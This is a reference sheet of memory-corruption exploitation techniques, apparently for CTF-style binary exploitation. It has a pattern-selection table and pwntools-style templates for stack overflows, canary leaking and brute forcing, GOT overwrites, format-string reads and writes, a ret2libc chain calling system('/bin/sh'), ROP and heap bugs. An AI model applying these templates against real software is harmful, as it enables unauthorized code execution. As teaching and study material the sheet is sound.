Exploitation Techniques

Pattern Selection

| Pattern | Signals | Requirement | |---------|---------|-------------| | Stack BOF | No canary, unbounded input | Control return address | | Canary Bypass | Canary present, info leak possible | Leak or avoid canary | | GOT Overwrite | Partial RELRO, write primitive | Writable GOT | | Format String | printf(user_input) | User controls format | | ret2libc | NX enabled, libc available | Libc address leak | | ROP | NX enabled, gadgets needed | Sufficient gadgets |

---

1. Stack Buffer Overflow

Concept: Overflow a stack buffer to overwrite the saved return address.

Stack Layout:
[  buffer  ][ saved_rbp ][ return_addr ]
     ↑            ↑            ↑
  overflow → overwrite →  control RIP

Template:

OFFSET = <bytes_to_return_address>
TARGET = <address_to_jump_to>

payload = b'A' * OFFSET
payload += p64(TARGET)

64-bit alignment: Add a ret gadget before the target if crashes occur (16-byte alignment).

---

2. Stack Canary Bypass

Concept: Leak or avoid corrupting the stack canary.

Approaches:

• Leak via format string or other info disclosure
• Brute force (only works with fork servers - canary constant across children)
• Off-by-one to corrupt variable above canary without touching canary

Leak template:

# Probe for canary (ends in null byte)
for i in range(1, 50):
    send(f'%{i}$p')
    if response.endswith(b'00'):
        CANARY_OFFSET = i

Brute force template:

canary = b'\x00'  # First byte always null
for position in range(7):
    for byte in range(256):
        payload = padding + canary + bytes([byte])
        if no_crash(payload):
            canary += bytes([byte])
            break

---

3. GOT Overwrite

Concept: Overwrite a GOT entry so the next call to that function jumps to your target.

Requirements: Partial RELRO (GOT writable), write primitive

Template:

GOT_ENTRY = <address_of_got_entry>
NEW_VALUE = <address_to_redirect_to>

# Write NEW_VALUE to GOT_ENTRY using your primitive
# (format string, arbitrary write, etc.)

Common targets: Functions called after your write (puts, printf, exit, __stack_chk_fail)

---

4. Format String

Concept: User input used directly as printf format string enables read/write.

Read template:

# Leak stack values
payload = b'%p.' * N

# Leak specific offset
payload = b'%<offset>$p'

Write template:

# pwntools handles complexity
writes = {<target_addr>: <value>}
payload = fmtstr_payload(<stack_offset>, writes)

---

5. ret2libc

Concept: After leaking a libc address, calculate base and call system().

Template:

LEAKED_ADDR = <leaked_function_address>
LEAKED_OFFSET = libc.symbols['<leaked_function>']

libc.address = LEAKED_ADDR - LEAKED_OFFSET
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

payload = padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

---

6. ROP Chains

Concept: Chain gadgets ending in ret to perform operations when NX is enabled.

64-bit calling convention: RDI, RSI, RDX, RCX, R8, R9

Gadget types:

• pop <reg>; ret - Load value into register
• mov [<reg>], <reg>; ret - Write to memory
• syscall; ret - Make syscall

Template:

rop = ROP(elf)
rop.call('<function>', [<arg1>, <arg2>, ...])
payload = padding + rop.chain()

---

7. Heap Exploitation

Use-After-Free:

1. Allocate chunk A
2. Free chunk A
3. Allocate chunk B (same size, reuses A's memory)
4. Dangling pointer to A now accesses B's data

Heap Overflow:

• Corrupt adjacent chunk metadata
• Overwrite forward/backward pointers
• Achieve write primitive on next alloc/free

---

Composition Patterns

| Have | Combine With | |------|--------------| | BOF + NX | ret2libc or ROP | | Format string | GOT overwrite, leak canary/libc | | Partial RELRO + write | GOT overwrite | | Fork server + canary | Brute force canary |